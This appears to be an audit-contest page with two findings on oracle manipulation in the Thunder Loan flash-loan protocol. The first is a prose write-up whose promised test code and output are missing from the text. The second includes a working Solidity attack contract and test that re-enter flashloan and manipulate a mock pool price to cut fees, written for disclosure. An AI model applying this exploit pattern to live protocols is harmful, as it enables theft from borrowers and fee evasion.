OracleUpgradeable::getPriceInWeth reads a live AMM spot price, so the fee a borrower is charged is set by whoever moved the pool lastEvery flash-loan fee is derived from the price of the borrowed token, read as a single instantaneous quote from a TSwap pool at the moment of the call. There is no TWAP, no staleness bound, no deviation check and no second source.
An AMM spot price is not a price feed — it is a function of the pool's current reserves, and anyone with capital can set it inside a single transaction. getCalculatedFee is linear in that number, so the fee a borrower is quoted is under the control of any third party who trades the pool immediately beforehand.
What makes this more than lost revenue is that the borrower has no way to refuse the number. flashloan quotes the fee, moves the funds, and only then hands the fee to the receiver as a callback argument — after which the receiver must produce amount + fee or the whole transaction reverts:
There is no maxFee parameter and no slippage bound anywhere in the signature. The canonical receiver shape — the project's own reference implementation — approves and repays whatever it is told:
The fee lands in the AssetToken and raises the exchange rate, so an attacker who is also a liquidity provider recovers their share of it through redeem. The lever works in the other direction too: pushing the price down drives the fee to a rounding error, so flash loans become free and liquidity providers earn nothing.
Likelihood:
No privileges are needed and the manipulation is a plain swap on a public AMM. TSwap is a constant-product pool with no protective mechanism, and long-tail tokens — precisely the ones that have a TSwap pool and no deep market elsewhere — are cheap to move. The round trip cost 0.54 WETH out of 900 deployed in the run below, because the reverse swap restores the price in the same block.
But it is not free of preconditions, which is why I rate likelihood Low rather than higher. The attacker needs a liquidity-provider position to capture the fee, a borrower transaction worth sandwiching, and a pool thin enough to move. redeem has no lockup (ThunderLoan.sol:161-178), so the LP position can be taken just-in-time, and a public mempool supplies the borrower — but three conditions must line up.
The liquidity share is a scaling factor, not a gate: the attacker captures share × fee against a fixed manipulation cost. At a 5% share the same attack still nets roughly 7.5 tokens against 0.54 WETH of cost.
Impact:
Direct loss of a third party's funds. In the measured run the borrower is charged 149.59 tokens on a 500-token loan instead of 1.5 — 99.7× the correct fee — taken from their balance in a transaction they initiated for an unrelated purpose. The attacker realises +42.41 WETH on 900 WETH deployed.
Losses are bounded only by what the borrower's receiver holds and has approved, so a receiver that keeps a working balance loses it in one call.
For borrowers that do not hold a large idle balance — which is most real arbitrage bots, since they repay out of trade proceeds — the outcome is a revert instead. That is a denial of service on the protocol's core product for the same manipulation cost. Both branches are demonstrated below.
Pushing the price the other way nullifies the protocol's only revenue stream.
One thing this is explicitly not: it is not a drain of the pool or a loss to liquidity providers. Every token the attacker gains comes from the borrower, and the honest liquidity provider's claim rises too — in the run below to 1,074.80 against a 1,000 deposit. Presenting this as protocol insolvency would be wrong.
Deliberately run on a fresh ThunderLoanUpgraded: its deposit does not touch the exchange rate and a fresh deployment has no storage collision, so the rate starts at exactly 1e18 and none of the profit below can be attributed to the separate deposit/updateExchangeRate defect.
The pool is a plain constant-product AMM with the standard 0.3% swap fee — manipulation is not free here. Reserves are 100 token : 100 WETH, a normal long-tail pool. Profit is reported in WETH, the currency the attacker actually deployed, after selling the token surplus back into the same pool.
Save as test/PoC_M01.t.sol and run forge test --mt test_M01 -vv:
Output:
The exchange rate is 1e18 at the start, so nothing here is contaminated by the deposit-rate defect. The price is back to normal by the end of the block.
The 900 WETH of working capital is the largest number in the attack, and most of it comes straight back — the cost is 0.54 WETH of swap fees and residual slippage, not 900. The profit quoted is the realised WETH delta after selling the token surplus back into the same (now distorted) pool, which is the conservative way to count it.
Manipulation cost scales with AMM depth. Against a deep pool this is not economical; against the thin pools that long-tail tokens actually have, it is.
ITSwapPool only exposes getPriceOfOnePoolTokenInWeth() and TSwap itself is out of scope, so the pool here is modelled as a standard constant-product AMM. The finding does not depend on TSwap's internals — it depends on ThunderLoan trusting a single instantaneous quote from it.
test/mocks/MockTSwapPool.sol:5-7 returns a hard-coded 1e18. The entire suite therefore only ever exercises the one price at which nothing goes wrong. A mock that cannot vary is a mock that cannot fail.
I am separately reporting that getCalculatedFee charges a WETH-denominated value in units of the borrowed token. The two are distinct and neither is a subset of the other:
Replacing the spot price with a TWAP or a Chainlink feed does nothing for that one — a correct, unmanipulated price of 5e14 still produces a 1.5 USDC fee on a 1,000,000 USDC loan.
Conversely, fixing the units while keeping an ETH-denominated fee leaves the price manipulable, which is this finding.
Stating the overlap rather than leaving it to be found: if the project resolves the other one by making the fee a plain percentage of amount, the price lookup disappears and this finding is closed by the same edit. That is a property of one chosen remedy, not evidence of a single defect.
Do not price a fee off a spot quote the caller's counterparty can move:
If the TSwap dependency has to stay: consume a time-weighted average rather than current reserves, and bound each quote against the previous observation.
Independently of the oracle, give borrowers the ability to refuse a price they did not agree to. This is a few lines, protects users while the oracle is being fixed, and is standard for any operation that quotes a cost after the caller has committed:
## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.